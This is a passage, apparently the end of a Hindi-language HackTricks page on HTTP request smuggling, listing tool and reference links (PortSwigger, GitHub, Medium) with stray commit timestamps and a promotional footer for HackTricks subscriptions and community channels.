2020-07-21 00:04:59 +00:00
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
2023-11-06 08:38:02 +00:00
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह उपकरण विचित्र अनुरोध छेदन के लिए उपयोगी है।
2023-11-06 08:38:02 +00:00
## संदर्भ
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
2021-11-06 01:29:12 +00:00
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **[💬](https://emojipedia.org/speech-balloon/) [Discord समूह](https://discord.gg/hRep4RUj7f) या [telegram समूह](https://t.me/peass) में शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।**
2022-04-28 16:01:33 +00:00
</details>